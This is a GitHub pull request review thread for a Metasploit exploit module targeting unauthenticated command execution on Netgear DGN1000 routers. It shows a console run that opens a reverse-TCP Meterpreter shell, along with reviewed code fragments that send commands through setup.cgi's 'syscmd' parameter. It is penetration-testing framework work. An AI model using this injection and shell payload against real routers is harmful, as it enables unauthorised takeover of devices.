Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Netgear DGN1000 Unauthenticated OS Command execution #9106

Merged
merged 16 commits into from Oct 23, 2017
Merged

Netgear DGN1000 Unauthenticated OS Command execution #9106

merged 16 commits into from Oct 23, 2017

Conversation

ghost
Copy link

@ghost ghost commented Oct 21, 2017

This module exploits an unauthenticated OS command execution vulnerability, similar to https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb.

Verification

msf > use exploit/linux/http/netgear_dgn1000_setup_unauth_exec
msf exploit(netgear_dgn1000_setup_unauth_exec) > set RHOST 192.168.0.1
RHOST => 192.168.0.1
msf exploit(netgear_dgn1000_setup_unauth_exec) > set RPORT 80
RPORT => 80
msf exploit(netgear_dgn1000_setup_unauth_exec) > set LHOST eth0
LHOST = eth0
msf exploit(netgear_dgn1000_setup_unauth_exec) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp
PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp
msf exploit(netgear_dgn1000_setup_unauth_exec) > run

[*] Started reverse TCP handler on 192.168.0.11:4444
[*] 192.168.0.1:80 - Connecting to target...
[*] 192.168.0.1:80 - Exploiting target ....
[*] Using URL: http://0.0.0.0:8080/DnuJhOHYg7auIz
[*] Local IP: http://192.168.0.11:8080/DnuJhOHYg7auIz
[*] Client 192.168.0.1 (Wget) requested /DnuJhOHYg7auIz
[*] Sending payload to 192.168.0.1 (Wget)
[*] Sending stage (1073332 bytes) to 192.168.0.1
[*] Meterpreter session 2 opened (192.168.0.11:4444 -> 192.168.0.1:51558) at 2017-10-20 20:37:06 -0400
[*] Command Stager progress - 100.00% done (129/129 bytes)
[*] Server stopped.

meterpreter > sysinfo
Computer     : 192.168.0.1
OS           :  (Linux 2.6.20-Amazon_SE)
Architecture : mips
Meterpreter  : mipsbe/linux
meterpreter >```


@ghost ghost changed the title Netgear unauth Netgear DGN1000 Unauthenticated OS Command execution Oct 21, 2017
],
'References' =>
[
['URL', 'https://www.exploit-db.com/exploits/25978/'],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

},
'Author' => [
'Mumbai <https://github.com/realoriginal>', # module
'Robort Palerie' # vuln discovery
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

you should include Robort's email that is in the EDB module

'method' => 'GET'
})

if [200, 301, 302, 401].include?(res.code)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

if res && ...
always remember to check for res.

})

if [200, 301, 302, 401].include?(res.code)
return Exploit::CheckCode::Detected
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

so if ANY site EVER has setup.cgi its detected? Is there any unique item on the page to check for, or a disclosed version number on any unuath pages?

def execute_command(cmd, opts)
begin
res = send_request_cgi({
'uri' => "/setup.cgi",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

single quotes

'method' => 'GET',
'vars_get' => {
'next_file' => "netgear.cfg",
'todo' => "syscmd",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

single quotes

'vars_get' => {
'next_file' => "netgear.cfg",
'todo' => "syscmd",
'cmd' => "#{cmd}",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

cmd.to_s should work fine here instead of "#{cmd}"

'next_file' => "netgear.cfg",
'todo' => "syscmd",
'cmd' => "#{cmd}",
'curpath' => "/",
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

single quotes

'todo' => "syscmd",
'cmd' => "#{cmd}",
'curpath' => "/",
'currentsetting.htm' => "1"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

single quotes

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

shit! will fix immeidately. forgot to fix these ughh

return Exploit::CheckCode::Unknown
end


Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

remove a space?

@ghost
Copy link
Author

ghost commented Oct 21, 2017

Fixed requested changes

@ghost
Copy link
Author

ghost commented Oct 21, 2017

@h00die its weird, I keep adding the header yet the cli keeps marking it wrong.

@h00die
Copy link
Contributor

h00die commented Oct 21, 2017

The error I'm seeing is: modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb - [ERROR] Exploit is missing a disclosure date

@ghost
Copy link
Author

ghost commented Oct 22, 2017

Gotcha. Thank you! added it hopefully works

@h00die
Copy link
Contributor

h00die commented Oct 22, 2017

Anyone have this router to test with? If not, @realoriginal would you be able to send a pcap of the check and exploitation (sanitized if you wish) to msfdev@metasploit.com ?

@h00die h00die added the module label Oct 22, 2017
@ghost
Copy link
Author

ghost commented Oct 22, 2017

Yes @h00die I will send a Pcap tommorow morning, is there a format which I should submit in the email, ie module name and stuff?

@h00die
Copy link
Contributor

h00die commented Oct 22, 2017

You can put the PR number (PR: #9106) but nothing formal is required. I'll know!

@ghost
Copy link
Author

ghost commented Oct 22, 2017

gotcha. Was able to do it, sent it in :D

@ghost
Copy link
Author

ghost commented Oct 22, 2017

Was able to submit a PCAP a few hours later, you may notice the localhost for both dest and source, its due to proxy. Hopefully doesnt affect much @h00die

],
'References' =>
[
['EDB', '24464'],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This doesn't look to be the same finding.

'References' =>
[
['EDB', '24464'],
['URL', 'https://www.exploit-db.com/exploits/25978/'],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

['EDB', '25978']

@h00die
Copy link
Contributor

h00die commented Oct 22, 2017

just one last minor edit and it'll be ready to land!

@ghost
Copy link
Author

ghost commented Oct 22, 2017

fixed. :D

'References' =>
[
['EDB', '25978'],
['URL', 'https://www.exploit-db.com/exploits/25978/'],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

dont need this line anymore

@h00die
Copy link
Contributor

h00die commented Oct 22, 2017

sorry, one last (bigger) thing, need some module docs on here. See https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md as a close example

@ghost
Copy link
Author

ghost commented Oct 22, 2017

No problem. will bust em out rn.

@ghost
Copy link
Author

ghost commented Oct 22, 2017

Done @h00die

@h00die h00die self-assigned this Oct 23, 2017
@h00die h00die merged commit eff94be into rapid7:master Oct 23, 2017
h00die added a commit that referenced this pull request Oct 23, 2017
@h00die h00die added the docs label Oct 23, 2017
@h00die
Copy link
Contributor

h00die commented Oct 23, 2017

I did a few code cleanups: 210f6f8#diff-b29c8db7b12be9e30426bf7347cbd388 in the module added the default target and payload (per what you used). Cleaned up some spacing, and the module docs.

@h00die
Copy link
Contributor

h00die commented Oct 23, 2017

Thanks for submitting and all the quick turn arounds!

@h00die
Copy link
Contributor

h00die commented Oct 23, 2017

Release Notes

An exploit has been added for unauth RCE to netgear dgn1000 routers.

@ghost
Copy link
Author

ghost commented Oct 23, 2017

thank you sir!. Will make sure to have this all done for any future models so you guys have less of a headache xD. Appreciate it

@ghost ghost deleted the netgear_unauth branch October 23, 2017 12:24
@tdoan-r7 tdoan-r7 added rn-enhancement release notes enhancement rn-exploit and removed rn-enhancement release notes enhancement labels Nov 1, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants